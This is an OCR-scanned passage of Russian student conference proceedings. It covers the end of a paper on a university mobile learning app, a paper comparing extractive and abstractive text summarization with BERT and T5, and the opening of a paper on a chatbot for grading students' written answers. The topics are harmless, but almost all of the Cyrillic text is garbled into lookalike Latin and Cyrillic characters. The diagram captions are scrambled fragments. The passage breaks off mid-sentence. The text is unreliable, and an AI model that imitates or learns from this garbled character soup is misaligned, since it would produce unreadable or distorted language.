PI/ICYHOK 1. OcHOBHBIE 3TAIIbl BHIIOIHCHUS IIPOCKTa

[Ipu peanuzanmu NpuIOKeHUsT HEOOXOJMMO TaK)KEe YUUTHIBATH (PaKTOPBI, HEOOXOAMMBbIE
Il cTabminbHON paboThl cucTeMbl. Bo-TiepBBIX, HEOOXOANMO CTAaOMIBHOE MOAKIIOYEHUE K
Huteprety. XoTs ceifuac TpyAHO NpPEeACTaBUTh cebe MOOUIBHOE yCTPOUCTBO O€3 AocTymna K
WHTepHeTy, cerofHsAIHss pealbHOCTh TAKOBA, YTO B HEKOTOPBIX PErMOHAX MOAKIIOUEHHE K
WntepHery MoxkeT ObITh MpoOseMoi. Bo-BTOpBIX, 3aMHTEPECOBAHHOCTb AayAUTOPUH
nonp3oBateneid.  [lockombKy — mprutokeHHE — pa3pabOTaHO — HETOCPEICTBEHHO  JUIst
00pa3oBaTeNbHBIX 1I€TIeH, OHO JOKHO 3aMHTEPECOBATh CTYEHTOB. Takxke, HE MEHEE BaKHBIM
(akTOpOM SBISIETCS CTAOMIIBHOCTD IPUIJIOKEHUS U €T0 MOAJIEPHKKA.

[Ipunoxenune coAepKUT HECKOIBKO MOJIYJeH, KOTOpble MOTYT OBITH pa3/eieHbI IO
POJISIM MOJIB30BATENIEH.
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JUis KaXJ0ro CTyleHTa M IpernojaBaresis MOXKHO CO3[aThb MX JIMYHBIM KaOWHET C
uHpopmanuei o momap3zoBaresne. B mpoduiabs MoxkeT BXOAUTh 00mas nHpopmanus, Takas Kak
uMs U paMunus, 10JHKHOCTh, HoMep TenedoHa, pakynbTeT. Takke B IMYHOM KaOMHETE MOYKHO
IPOCMATPHUBATh PACHUCAHUE 3aHIATUN, HENOCPEACTBEHHO IS ONPENEIEHHOTO TOIb30BATEIS.
VY obyuatomierocs 6yJeT BO3MOKHOCTh IPOCMOTPETh CIIMCOK CBOEH IPYIIBI MU Kypca.

PaccMoTpuM OCHOBHBIE BO3MOKHOCTH TPHITOKEHHS:

1. Buneomnneep, ¢ (yHKIMEH BHIEONOTOKA, Ui 3allUCH U 3arpy3KM BHJEO YPOKOB
npemnoaaBaTensiMu. CTyIeHThI MOTYT IPOCMOTPETH 3alUCh BHE 3aHATHM, @ Ha 3aHATUAX MOYKHO
pOCMaTpHUBaTh BHJICO B OHJAWH pexuMe U o0cyxaarh (parMeHTHl MO0 MPOBOAMTH
BHIeOKOH(PepeHmu (puc.2).

2. Kanenmapp  coObituii. IlpenonaBarenn IUIAHUPYIOT — pacOUCaHWE U MOTYT
yCTaHaBJIMBATh €KEJHEBHbIC WIN €XKEHE/AeIbHbIC HATOMUHAHMS JUI CTYACHTOB O 3aJaHUsX,
MEPOTIPUATHSX H T.JI.

3. lludposbie marepuanbl a1 0oOydyeHHs. DTO MOTYT OBbITh JIEKLIUH, METOAMYECKHE
PEKOMEHALNY JIJIs TPAKTHYECKHX, JTAOOPaTOPHBIX padoT U T. 1.

4. Aynuoruteep. [lng  3amucu  OPOM3HOIIEHUS HA HHOCTPAHHOM  si3bIKe, JIMOO
JOMOTHUTEIBHON HH(pOpMAIHH, JINOO 3aIMCH OTBETOB.

5. KoHTposnb noceraeMocTy 4 J1.p.

6. OOMmeH nH(popMarHel MeXIY YIaCTHUKAMH YaToB.

OcHoBbl C )

Deacription

MIO TOMOC KOMCTRYKTOPG! ¥ SECTRYXTOR «NacCcos

KOHCTRYXTOR MO yMOASIHMO, NEPerpy Ixa

ROMCTDYTODOS, A4 MDYICUM soucTYKTOp

00:00 00:00
‘u> | ‘w,

@ Playback speed

Pucynok 2. Dkpan npocMoTpa BUIEO JIEKIUH
B kadectBe s3pIKka MPOTpaMMHUPOBAHUS BBIOpaH S3BIK Java ¢ HCIOJIB30BaHUEM
HEO0OXOIUMBIX OMONHOTEK AJIi MOTOKOBOTO BHUAEO, ayAHO W 4daToB. DparMeHT AuarpaMMbl
AKTUBHOCTEW NMPUIIOKEHU TIPEACTaBlieH Ha puc. 3. Ha quarpamMe jieBast BETBb aKTUBHOCTEM
(Activity) sBnasieTcss OOIICTOCTYITHOW W HMEET OINPEICICHHOE KOJMYECTBO BJIOXKCHHBIX
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aktuBHOCTe. [IpaBasi BETBb JJOCTYIHA NOCTIE PETUCTPALIMH U AyTeHTU(DHUKAIIH [T0JIb30BATEIS.
[Ipu ycnemHoi mpoBepKe AaHHBIX MOJIb30BATENs OTKPHIBAETCS IEPCOHAIN3UPOBAHHAS YacTh
CTpaHMI] I10JIb30BaTEIA.

E0SEPAT Ha rMasHy
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naeHas

MIY online
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e

yes

' AyTEHTUDNKAUMA '

( Beog norMHau

naponsa
—\ po.

BB0oa NepcoHankeHLIX
LaHHbIX ‘.
(e )
BANUAHOCTH
NoNL30BaTENA

ycnewHo

HoeocTu PerucTpauna

CobuiTuA

0

bt
il

yes

WcTopus Beoa AaHHbIX

~

OCCTAHOBNEHUE
napons

Wit

YHWBEPCUTETA

no
-

®ororannepes Owndka

BEOa A3HHLIX NOTMHA

bubnuoteka MogTeep¥aeHne

i
i

YenewHas

KoxTaKTsI DETHCTPALMA

U

epCOHANKU30POBaHHbIE
CTPaHULbI

Pucynox 3. ®parmeHT AuarpaMMbl aKTUBHOCTEH

W3 BbllleckazaHHOTO MOXKHO CJeJaTh BBIBOJ, 4YTO CYIIECTBYET HEOOXOAMMOCTh
pa3paboTKu 00pa30BaTENbHBIX MOOMIBHBIX MPHIOKEHUN C HEOOXOIUMBIMH (DYHKIUAMHU IS
BBICIIMX Y4eOHBIX 3aBeAeHMid. [Ipu 3TOM cienyer OTMETUTh, YTO CHUCTeMa JOJKHA OBITh
0e30MacHOM, MOCKOJIbKY HPUJIOKEHUS MOXKET XpaHUTh WH(pOpPMalMIo, KOTOpas CBs3aHa C
JAaHHBIMU TIOJIb30BaTeNs. Pa3zpabaTeiBaeMoe NMPUITIOKEHUE JOKHO OBITh MOJIE3HBIM, KaK IS
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IpernojaBaTeneif, Tak M Uil CTYIAEHTOB, a TaKKe NPUIOKEHUE JOJDKHO olecredynBaTh
YCKOpPEHHBIH MIPOLIECC CO3/1aHus U JOCTYIa K 00pa30BaTeIbHOMY KOHTEHTY.

Hcnonb3oBaHne MOOWJIBHBIX TNPHIIOKEHHHM SBJSETCS OCHOBONOJIAraloIUM METOJOM
00pa30BaTENBHOIO Ipolecca B JUCTAHLIMOHHOM (opMaTre 0O0ydeHHH. DTO COBPEMEHHBIH,
Oosiee yAOOHBII U ONTUMANIbHBIA BapUAHT JUIs IOJIb30BATEIS.
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YK 004.415.28
CPABHEHUE DKCTPAKTUBHOM U ABCTPAKTHOM CYMMAPU3AIIUU

Bencepenko P.A.
Hayunuwiit pyxosooumens: Illeeyos /[.B., oouenm
oy BIIO «/]OHHY»

Annomayus. B TekcTe paccCMOTPEHBI OCHOBHBIE METOABI KOJMPOBAHHSA WM JICKOAWPOBAHMS, NPUMEHSIEMBIC IS
00paboTku TeKCTOB, B ToM gucie apxurekTypsl BERT u T5. Takxke ommcaH ABYX3TamHBIM MOAXO] K TOHKOH
HACTpOHKE MOAENed CyMMapH3aldi Ha 3aJadax SKCTPAKTHBHOW M aOCTpakTHBHOM cymmapm3anuu. Passurune
3((eKTUBHBIX METOI0B 000OMICHNS TEKCTa OCTAETCs KIFOUEBOIl 00IaCThIO MCCIIEOBAHUI B CBS3M C pacTyIei
B)XHOCTHIO TEKCTOBBIX JAHHBIX BO MHOTHX 00JIACTSIX.

Knioueswie cnosa: cymmapmszanusi, NLP, BERT, T5.

Beryniienue. 3agaga 0000IIEHNS TEKCTOBBIX MPOTOKOJIOB SIBIISICTCS BAKHEHIIICH BO MHOTHX
00J1acTAX, MOCKOJbKY OHa obOecreunBaeT Oosee 3((EeKTHBHBIM CrOcOd HocTyma K OONBIINM
o0bemMaM MH(pOpMALMKM M UX TOHMMAaHHUS. PaccMOTpUM pasiuuHbIe MOIXOIbI K 000OIICHHIO
TEKCTa, BKJIF0YAsi SKCTPAKTUBHBIE U a0CTParupyroiye MeTo/1bl, U 00CYIMM UX CHJIbHBIE U Ca0ble
CTOpOHBI. Takxke ucciemayeM poiib TITyOOKOro 00y4eHHs B MPOIECCe TOABEACHHUS UTOTOB U €T0
BIIMSIHUE Ha IPOM3BOAUTENBHOCTE. HakoHel, peacTaBuM HEKOTOpBIE U3 MOCIIETHUX JTOCTHKEHUI
B TEXHOJIOTHMH CYMMMPOBaHUsI U HaMeuyaeM Oy lyllie HarpapieHus: paboThl.

OcHOBHAas 4aCThb.

Oo6pabotka ectectBenHoro s3pika (Natural Language Processing, NLP) — o0rmiee
HAaIpaBJICHUE NCKYCCTBEHHOIO MHTEIUIEKTa U MaTEMAaTUUYECKOH JIMHIBUCTUKH, B HEM M3Y4arOTCs
NPEMSITCTBUSL  KOMITBIOTEPHOTO aHajdM3a M CHHTE3a ECTECTBEHHBIX SI3BIKOB. 3anaun NLP
OpPHEHTHPOBAHbI HA CO3JJaHUE TAKUX CUCTEM, KOTOPBIE CIIOCOOHBI UCTIONIHATH 3a/1a4H, CBSI3aHHbIE
C A3BIKOM, Ha TAKOM € YPOBHE, KaK 1 4enoBeK. COo3jaHue KpaTKoro COAEPKaHus BPYUHYIO — 3TO
TPYAOEMKHI U BpeMsl HAKJTaHBIN MIPOIIECC, TPEOYIOIMINN 3HAHUS TTOTHOTO CO/IEPIKAaHUSI BaKHOTO
JIOKYMEHTA ¥ BO3MOXKHOCTH BBIAEIIUTH INIABHBIE HIOAHCHI [1].

ABTOMaTHYECKOE COKpallleHHE TEeKCTa H3/1aBHa CJIOKHAs 3a/a4a MO 4acTH 00pabOoTKU
ecrectBeHHoro s3bplka (Natural Language Processing). Pabora Xanca Ilutepa Jlyna [2],
MOCBSIIIEHHAs PELICHUIO ATOM 3aJjauul, ObLIa OJJHOM U3 MEPBBIX, C TEX MOP MOSIBUIIOCH TPOMAJIHOE
KOJIMYECTBO PA3HBIX CIIOCOOOB PEIICHUS!.

O06001eHne TekcTa — 3TO TpollecC OO0beAMHEHUsT OoNbIIoro obdbemMa TeKkcTta B Oosee
KOPOTKYIO U JIJAKOHWYHYIO BEPCUIO IIPH COXPAHEHUH KIIIOYEBON MH(OpMAaIUH, CoeprKalleics B
HCXOJTHOM TEKCT€. JTO OCOOEHHO Ba)KHO B KOHTEKCTE MPOTOKOJIOB, KOTOPBIE YAaCTO COJEpXatr
00BEMHBIE, TIOAPOOHBIE ONMUCAHHS TPOLEeayp M pe3yiabraroB. OO0OIIEHHE 3THX IMPOTOKOJIOB
MOXET IOMOYb 3aMHTEPECOBAHHBIM CTOPOHaM OBICTPO MOHSTH KIIIOYEBBIE MOMEHTHI, SKOHOMS
BpEMS U yCHIIUSL.

['mybokoe oOyueHHE HENaBHO CTajJ0 MOILIHBIM HMHCTPYMEHTOM it 00OOIIEHHs TEKCTa,
MIOCKOJIBKY OHO JIOKA3aJI0 CBOIO BBICOKYIO 3((EKTUBHOCTh B YJABIMBAaHUU CEMAaHTHYECKOTO
3Ha4YeHUs TeKCTa. [ TyOoKMe HeHPOHHBIE CETH, TAKUE KaK peKyppeHTHbIe HelpoHHbIe ceT (RNNS)
U TpaHC(OPMEPHBIE MOJIENTN, MOTYT OBITh 00Y4eHbI Ha OOJBIINX 00BeMaX TEKCTOBBIX JAHHBIX IS
MOJTY4EHHsI BBICOKOKAUE€CTBEHHBIX CBOIOK. DTH MOJEIH TaKKe MOT'YT ObITh TOUHO HACTPOEHBI JUIst
KOHKPETHBIX 00JlacTel, TaKuX Kak MEIUIMHCKUN WM IOPUINYECKUI TEKCT, sl JalbHEHIIero
MOBBIILIEHUS UX IPOU3BOIUTEIBHOCTH.

HenaBnue noctrxenns B 001acTi 00001IeHNs TEKCTa ObUTH COCPEAOTOUCHBI Ha YITyUYILICHUH
KauecTBa FEHEPHPYEMbIX TEKCTOB U MOBBIIICHUN YPOBHS HHTEpIPETUpyeMOCTH Mozeneil. OqHoi
U3 00J1acTel aKTUBHBIX UCCIICIOBAHHH SBIISCTCS UCTIONb30BaHUE O0YUCHUS C IOAKPEIUICHUEM /IS
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00yueHus1 MOJIeIIM 0000ILEHHS], KOTOPOE MOKa3aJI0 MHOT0O0CIAtoIIe Pe3yIbTaThl KaK C TOUKH
3peHHs TOYHOCTH, TaK W HHTEpHpeTupyeMocTu. Jlpyroil o0macTel0 BHUMAHUS SIBIISICTCS
pa3paboTka METOJI0B 0O0OIIEHHUS M0 HECKOJIBKUM JJOKYMEHTaM, KOTOpPbIE MO3BOJISIIOT 00001IaTh
MHOKECTBO CBSI3aHHBIX JJOKYMEHTOB B €JJUHBIN, CBA3HBINA TEKCT.

Cy1iecTByeT /1Ba OCHOBHBIX MOAX0/a 0000IIEHHS TEKCTA: SKCTPAKTUBHBIM U a0CTPaKTHBIM.
DKCTpakTHBHOE 0000IIIEHNE BKITFOYAET B ce0st 0TOOp Hanboiee BaKHBIX MPEUIOKESHUN WITH (pa3
U3 MCXOHOIO TeKCTa U 0OBbEeIUMHEHHE UX Ul (POPMHUPOBAHUS KPaTKOro pestome. AGCTpakTHOE
0000111eH1E, C IPYroi CTOPOHBI, MPEATOaraeT Co3JaHue HOBOTO TEKCTa, KOTOPOE OTINYACTCS OT
MCXO/HOTO, HO MO-TIPEKHEMY COJIEPKUT HEOOXOIMMYIO HH(DOpMALIHIO.

Kaxzplii moaxon UMeeT cBOM JOCTOMHCTBA M HENOCTATKU. BBIOOp Mmojxoia 3aBUCHT OT
KOHKPETHOT'O IIPUMEHEHHMS ¥ KETAEMOT'0 YPOBHS JETAIN3ALHY B KOHEYHOM TEKCTE.

OKCTPAaKTUBHOE 000OLIEHUE YacTO MPEANOYTUTEIbHEE, KOIJla BaXKHO COXPaHUTh TOUYHYIO
(GOpPMYIIMPOBKY OpWUTHHAIBLHOTO TEKCTa, B TO BpeMs Kak aOCTpakTHOe 000OIIeHue
IpeIoYTHTeNIbHEE, Koria TpedyeTcs Oosee MOHATHbINA TekcT. Pabotaer myrem BbiOOpa Hanbosiee
BaXHBIX MPEIJIOKEHUNA B JOKYMEHTE U uX 00beauHeHus. HelipoHHbie MoJie paccMaTpuBaroT
IPOLIECC SKCTPAKTHBHOIO CYMMMPOBAHUS Kak 3ajauy Kiaccupukaiuu npeiokeHnil. CHavana
HEHPOHHBIN KOAMPOBIIMK CO3JA€T NPEACTABICHUS NPEIIOKEHUM, a 3aTreM KiacCupHUKaTrop
BBIOMPACT, Kakue MNpPEJIOKEHHs CllelyeT UCrojb3oBath Juid ckarus Tekcra. REFRESH [3]
HCMOJB3yeT 00yYeHHE C MOAKPEIUIEHUEM | ri00anbHyt0 ontuMusaimio Metpuku ROUGE mst
CO3/1aHMsl CHUCTEMBl CyMMapu3auuM. bosee mno3gHue pabOThl MOCBSILIEHBI  YITYUIICHUIO
IIPOU3BOAUTEILHOCTH CUCTEMBI C IIOMOLIBIO O0Jiee CII0KHBIX MOAYIbHBIX CTPYKTYp. LATENT [4]
paccMaTpHuBaeT SKCTPAKTUBHOE 0000IIEeHHEe KaK Ipo0ieMy BbIBOJA CKPBITHIX IIEPEMEHHBIX, U €€
CKpBbITasi MOZIEIb BMECTO TOT'0, YTOOBI MAKCUMU3UPOBATH BEPOSITHOCTD BHIOPAHHBIX IPEII0KEHHH,
HaNpsIMyl0 yBEIMUYMBAET BEPOATHOCTh pPY4HbIX cymmapusauui. SUMO [5] wncnosnesyer
CTPYKTYpUpPOBaHHOE BHUMAaHUE [yl CO3JaHUSl CTPYKTYpbl JOKyMEHTa B BHIE JiepeBa
3aBUCHMOCTEN C HECKOJIBKUMH KOPHAMH ITpH reHeparnmu cymmapusaiuid. Hakoner, NEUSUM [6]
OLIEHMBAET U BBIOMPAET MPEI0KEHHSI COBMECTHO U SIBJISETCS OJJHOM M3 HanOoJiee KayeCTBEHHBIX
MOJENEN IKCTPAKTUBHON CyMMapH3alliy Ha JAHHBI MOMEHT.

AbcTpakTHas cymMMapu3als B HEHpPOHHBIX IOJXO/aX CBOJIUTCA K 3ajadye seq2seq, IJe
KOJIMPOBIIMK MEPEBOAUT TOKEHBI HCXOAHOTO TOKyMEHTa X = [X1, ..., xn] B MOC/IeI0BaTEILHOCTD
HETPEPBIBHBIX MpeICTaBlIeHui Z = [Z1, ..., Zn], a JeKkoJep reHepupyeT IeIeByro CBOAKY y = [V,
..., ym] TOKEH 3a TOKEHOM aBTOPETrPECCUBHBIM CIIOCOOOM, MOJETHMPYS! YCIOBHYIO BEPOSITHOCTB: P
(1, ..., ym|x1, ..., xn). Nallapati u ap. (2016) nepBbIMH HCIOJIB30BATN MOJIETb C HEHPOHHBIM
KOAMPOBIIUKOM-ZIEKo/iepoM it cymmapusanuu  Tekcta  [7]. PTGEN u  COV  [§]
YCOBEPILIEHCTBOBAJIM 3Ty MOJIENb, IO3BOJSAS KOINMMPOBATh CIIOBA M3 MCXOAHOIO TEKCTa M
OTCJIEKUBATh CyMMuUpoBaHHBIE ciioBa. DCA [9] ucmonb3yeT HeCKOJIBKO areHTOB-KOJUPOBIIUKOB
C HEpapXUYeCKUM MEXaHW3MOM BHHMAHHUS JUIS TPEACTAaBICHHS JIOKYMEHTa M OOydYeHus ¢
noakperienneM. DRM [10] Ttaxke wucnonb3yeT oOydeHHE C MOJKPEIUIEHMEM U MEXaHU3M
BHYTPEHHETO BHUMaHUs IS perieHus npooiemsl oxeata. Gehrmann u nip. (2018) ucnomns3yror
BOTTOMUP, uto6s! onpenenuTb, Kakue (ppasbl TOHKHBI ObITh BKIIIOYEHBI B CyMMapHU3alyio, a
3aTeM IPUMEHSIOT MEXaHU3M KOIHMPOBAHMS TOJBKO K 3THM (pasaM. Narayan u ap. (2018)
MIPEACTABISAIOT CBEPTOUHYIO HEHpPOHHYIO Ce€Thb, OOYCIIOBJICHHYIO paclpelesieHHeM TeM
(TCONVS2S) [11], xoropas 0COOEHHO XOpOIIO TMOIXOAUT Il CyMMapH3alliii M3 OJIHOTO
MIPEAIOKEHUSI.

C momompio seq2seq MojeNe MOXHO IMOJTYYUTh CBSI3HBIA TEKCT MEHbLIEro o0bema,
HaIOMMHAIOIIMH YeoBeyeckoe n3oxenue. Ho Takue MeToibl 4yBCTBUTENIBHBI K JIOMEHY TEKCTa
U MOTYT T€HEepUpPOBaTh HEUUTAOENbHBIM TEKCT M3-3a Majedmmx ommobok. K tomy ke, Takue
METO/Ibl OCHOBaHbI Ha MOJIENSIX MIyOOKoro oOyueHus, Takux kak Bert m TS, u moryr umers
OTHOCHUTEJBHO JI0Jroe BpeMst paboTsl. O0e 3Tu Moienu pa3paboTaHbl KOMaHOH uccienoBarTenen
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3 Google. Onn ocHOBaHbI Ha apxuTekType Transformer m oOy4aroTcst Ha OONBIIMX 00BEMAX
TEKCTOBBIX JaHHBIX AJIs peleHus mupokoro crektpa NLP 3anau.

BERT (Bidirectional Encoder Representations from Transformers) 6sut ipeicrasies B 2018
TOJ/ly U C TeX TOp CTaja OIHOM 13 HanboJee MUpPoKo ucroib3yeMbix Mozeneit B NLP. On siBisiercs
KOHTEKCTYaJIbHOH MOJIENIbIO, KOTOpas YYWUTBIBAET KOHTEKCT MpPEUIOKEHUsT Mpu oOpabdoTke
Kaxzoro ciaoa. 1o no3sossier BERT nonumars cmblci npeyioskeHuid 601ee TOYHO, 4To JeIaeT
ero 0cOOEHHO IMOJIE3HBIM IS 33/1a4, CBSA3aHHBIX C aHAJIM30M €CTECTBEHHOTO S3bIKA.

T5 (Text-to-Text Transfer Transformer) 6bu1a npencrasnena B 2019 roxy. OH npeacTasisier
co00ii yHHBEPCAILHYIO MOJIEJb, CIOCOOHYIO IPHHUMATh Ha BXOJ TEKCTOBBIC JTAHHBIC B Pa3HBIX
dopmarax. B otnuume ot paHee co3mgaHHbIX Mojenei, TS5 MoXkeT BBINOIHATH HECKOJBKO 3a7ay
OJTHOBPEMEHHO, UCIIOJIb3Ysl EIMHYIO apXUTEKTYPY.

OTH MOJIeNu MOTYT ObITh, 1000Yy4eHbI ¢ MOMoIIb0 Fine-tuning (TOHKas HacTpoiKa), Mpu
KOTOPOM YK€ 00yu€HHas MOJIeJb IEPEHACTPANBACTCS HA HOBBIE JJAHHBIE C LIEJbIO YIIyUILIEHHS €€
MIPOM3BOJIMTENILHOCTU HA 3TUX JaHHBIX. MO/EIN MOTYT MCIIOJIb30BaThCsl ISl TAKMX 3a]a4 Kak:
MAaIIMHHBIA TIepeBOA, KiacCH(UKAIMS TEKCTa, TEHEepalys BOMPOCOB W OTBETOB, aHAIN3
TOHAJILHOCTH M MHOTHE JIpyTue. braronapst cBoeii BEICOKOM TOYHOCTH B PEIICHHUH 33/1a4 B 001aCTH
NLP, BERT sBnsiercs omHOW W3 caMbIX HOMYJSIPHBIX MOJENEH TITyOOKOro OOydeHHs ISt
00pabOTKH €CTeCTBEHHOIO s3bIKa. TS5 cuuTaercss OAHOM M3 Haubosee MPOABUHYTHIX MOJEIEH B
obmactit NLP 1 umeer BbICOKME MTOKA3aTeNM B 33/1a4aX, CBI3aHHBIX C 00pabOTKON €CTECTBEHHOTO
asblka. B nienom, BERT u TS gBISFOTCS MOLIHBIMU UHCTPYMEHTAMU U UCIIOJIB3YHOTCSl BO MHOTMX
IIPUJIOKEHMSX, CBA3aHHBIX ¢ NLP.

Hauunas ¢ 2018 roga, noMUMO CTaHIAPTHBIX HEMPOCETEBBIX MOXO/I0B, ObUIN MPEIIOKEHBI
pa3IMYHbIE CTIOCOOBI HCIOJIB30BAaHNST YHUBEPCATTBHBIX S3BIKOBBIX MOJIENCH JJIsl SKCTPAKTHBHBIX U
a0cTpakTHBIX cymmapu3aimid. OuH U3 MIPUMEPOB TaKoro nojaxona - pabora Yang Liu u Mirella
Lapata, B KOTOpoil aBTOpbI HUCCIEIYIOT BO3MOXHOCTh HpuMeHeHus wmonenu BERT s
CyMMapH3alliy TeKCTOBBIX JIaHHBIX [12].

Jns sxcrpaktuBHOM cymmapuzaimu BERT npumeHsiics B pasHbIX 3agadax oOpabOTKU
€CTECTBEHHOI'0 f3bIKa C TOMOIIbIO JOOOY4YeHHMS M HACTPOMKH, €ro HCIOJIb30BaHUE IS
CyMMapH3allid HEBO3MOXKHO HANpsSMyl0 U3-3a OCOOEHHOCTEM ero OOydeHHMsl Kak
3aMacKMpPOBAaHHOM SI3BIKOBOM MOJENU. BBIXOTHBIE BEKTOPHI CBA3aHBI C TOKEHAaMH, a HE
NPEATIOKEHUSAMH, YTO 3aTpyAHseT padoTy ¢ HUMHM B KOHTEKCTE CyMMapH3allil Ha YpPOBHE
npeioxkennil. Xotrst B BERT ectb amOeiuaru /i pa30MBKU pa3HbIX MPEUIOKEHHH, HO OHU
NPUMEHUMBI TOJIBKO K BXOAHBIM MapaM IpeiokeHui. B 3amaue cymmapuzanmy HeoOX0IuMO
KOJIMPOBATh U MAHUITYJIUPOBATh JAHHBIMH, OTHOCSIILIUMUCS K HECKOJIBKUM IPEII0KEHUSIM.

B cinydae abcTpakTHBHOM cyMMapH3aliii MOKHO HCTIONb30BaTh CTaHIAPTHYIO apXUTEKTYPY
KOJIMPOBAHUS JIEKOAMPAHHUs, IJI€ KOJAUPOBAHHE SIBISIETCS NpEIBAPUTEIHLHO OOydeHHas MOENTb
BERTSUM, a nexoauipoBaHreM - 6-CIIOHHBIN TpeoOpa3oBarellb, KOTOPBIA HHUIHATH3HPYETCS
ciy4aifHbIM 00pa3oM. OJHaKo, BO3MOXKHO, YTO MEXAY KOJUPOBIIMKOM U JIEKOAWPOBIIMKOM
MOXET BO3HMKHYTh HECOOTBETCTBHE, TaK KaK NEPBbIM ObLI MpeIBapuTeIbHO 00ydeH, a BTOPOI
JIOJDKEH o0ydaTcsi ¢ HyJIs. DTO MOXET NPUBECTH K HECTAOMJIBHOCTH B TIOHUHIE Mojenu. Jls
pelIeHnst 3ToM MpoOJieMbl aBTOPBI MPENIaraloT ABYXITAIHBIA IMOJIXOA K TOHKOW HACTpOWKe
MOJIENH, TA€ CHa4yajJa HACTPauBaeTCsl KOAMPOBILMK HA 33/1a4€ 3KCTPAKTUBHOM CyMMapu3aliy, a
3aTeM - Ha 3ajade aOCTpakTHOM cymmapusanuu. B pabore Li m coaBTOpOB mokKa3aHO, Kak
UCIIOJIb30BaHME AKCTPAKTHBHBIX 33/1ad MOMKET TOBBICHTh 3S(PQPEKTUBHOCTh aOCTPaKTHBIX
cymmapmsarmii [ 13]. JlaHHBIM TOAX 0T SIBISIETCS CTAaHIAPTHBIM ITPH 00YIEHUH MOJIEIN TAaKOTO BH/IA
13-3a €r0 OTHOCUTEIBHON IIPOCTOTHI M OTCYTCTBUEM M3MEHEHUI B OCHOBHOMN apXUTEKTYpE.

BriBoib1. O000IIEHNE TEKCTA — 3TO OBICTPO Pa3BUBAIOIIASICS 00JIACTH C IITMPOKUM CIIEKTPOM
NPUMEHEHHH. Hcnonb3oBaHnue  TiyOOKOro oOydeHHsT  3HAYUTEIBHO YIAY4ILIHIIO
MIPOU3BOIUTENILHOCTh MOJIETICH 000OIICHNs TEKCTa, U B HACTOSIIEEe BpeMsl BeleTcsl padoTra 1mo
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NaJbHEHIIIEMY MOBbIlWeHUI0 UX TOYHOCTH W HMHTEpHpeTHpyeMocTH. B cBs3u ¢ pacrymiei
BO)XHOCTBIO TEKCTOBBIX JAHHBIX BO MHOTIHMX 00JacTsaX pa3zpadorka 3¢ EeKTHUBHBIX METOJ0B
0000111eHHs TeKCTa OyIET OCTaBaThCs KIIFOUEBOM 00JIaCThIO HCCIIEIOBAHU B OMKaiiIINe ropbl.
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VJIK 004.4:378.091.26(045)

OPI'AHM3AIIUA KOHTPOJIH}HAHHFI CTYAEHTOB C IOMOIIbIO
YAT-BOTA UIA AJAIITUBHOU ITPOBEPKU PA3BBEPHYTBIX OTBETOB

Bonowun H.A.

Hayunwie pykosooumenu: Pomanesa H.I0., kano.neo.nayk, ooyenm,
Cazupoe U.B., cmapwuii npenooasamens

Mapuynonvckuit 20cyoapcmeeHHblil yHUgepcumem

Annomayus. B craTthe paccMaTpHBaeTCs, Kak MCIOJIb30BAaHWE HEWPOCETeH B COUETAHUM C 4aT-00TaMH MOXKET
3HAUUTEJBHO YIY4YIIUTH 00Opa3oBaTeNIbHBIM Ipolecc, obecrneunBasi OBICTPBIA W A(GQEKTUBHBIA TOCTYI K
uH(opManuK, MOMOIL B BBHIINOJIHEHUN 33aJaHUM, a TalkoKe YJIYYIIUTh B3aUMOJCHCTBUS MEXIY CTYINCHTAMHU H
IpernogaBaTeIsiMU. B 4acTHOCTH, CTaThsl ONIUCBHIBACT ApXUTEKTYPY U OCHOBHBIE KOMITIOHEHTHI YaT-00Ta, IPUHIIUIIBI
Y MTOJXO/IBI K CO3/IaHMIO TAKOTO 00Ta, a TAKIKE NPUBOISITCS IPUMEPBI €r0 UCIIOIb30BAHMSI.

Kniouesvie crnosa: HelipoceTH, TUCTaHIIMOHHOE 00ydeHHeE, 4aT-00T, aHaIN3 TEKCTa, MECCEHIKED.

Bo Bpemsi nucTaHuMOHHOTO OOy4YeHHS IMpernojaBaTeNsiM OYEeHb 4YacTO HE XBaTaeT
BpPEMEHHU JIs IPOBEPKHU JOMAIIIHUX 33aHNH, KOHTPOJIBHBIX po0OT 1 TecTOB. Eciu B TecTe ecTh
BAPUAHTHI OTBETA, TO COIOCTABJIEHUE OTBETA CTYACHTA C MPABUIbHBIM OTBETOM HE 3aHUMAET
MHOro BpemeHH. Ho eciiu Ha mocTaBiieHHbIN BOIpoc TpeOyeTcst pa3BepHYThIN OTBET WM OTBET,
KOTOpbIN HE MPEAYCMaTPUBAET €IMHCTBEHHO MPAaBUIILHOTO OTBETA, TO TOTJA MPENOAABATENIO
CJIElyeT BUUTHIBATHCS B OTBET CTYJEHTA, HA YTO YXOIUT OOJbllle BPEMEHU INPU IPOBEPKE
paboTel. [Ins onTMMM3anMM Tpollecca KOHTPOJS 3HAHUM, a TakKe CHUCTeMaTU3alluu |
NPOTHO3UPOBAHUS PE3YJIbTATOB OOYYEHHUsS, CTATHCTUKU YCIIEBAEMOCTH CTYIEHTOB, OYEHBb
IIOJIE3HBIM MHCTPYMEHTOM MOXET ITOCIIY>KHTh HEHPOCETH.

HelipocetTn — 95TO MOIIHBIE TEXHOJIOTHH, KOTOpPbIE TMPEACTABISIOT  COOOM
UCKYCCTBEHHYIO MHTEIUIEKTYaJIbHYIO CeThb, M0100HON MO3ry 4yenoBeka. OHM HCIIONB3YIOTCS B
MHOTUX OTpacisX, OT aBTOMATU3allMd MPOU3BOJACTBA 1O MEIUIIMHCKOM nuarHoctuku. Ho
HEHWpOCETH Tak)K€ HAYMHAIOT HCIOJIb30BaThCsA B NOBCEAHEBHOM ku3HM [2]. Hampumep,
HEHUPOCETH UCIIONB3YIOTCS JUIsl paclo3HABaHMsl JIUL, IPHIIOKEHUN I COLIMATIBHBIX CEeTeH, a
Takke s moucka B MHTepHeTe. OHU MOTYT OBITh HCIIOJIB30BaHBI ISl aHAIM3a Ballero
MOBEJICHUS U TIPEICKa3aHus HanuOoJiee OAXOASIINX I BaC TOBApOB WiM yciyr. Helipocetu
MOTYT OBITh HCIIONB30BaHBl JUIS PACHO3HABaHUS TOJNOCA, a TAaKXKe JJIsl aBTOMATUYECKOTO
nepeBojia TekcTa. Tak e OHM CHOCOOHBI C OOJBIION TOYHOCTHIO WHTEPIPETHPOBATH U
TeHepUPOBATh Ka4YeCTBEHHBIE H300PaKEHUS UCXOS U3 3aJaHHBIX MOJIb30BATENIEM ITapaMeTPOB
Y 3aIPOCOB.

OnHoit U3 cdep UCIOIB30BaHUS UCKYCCTBEHHBIX HEHPOHHBIX ceTel sBiseTcs U cdepa
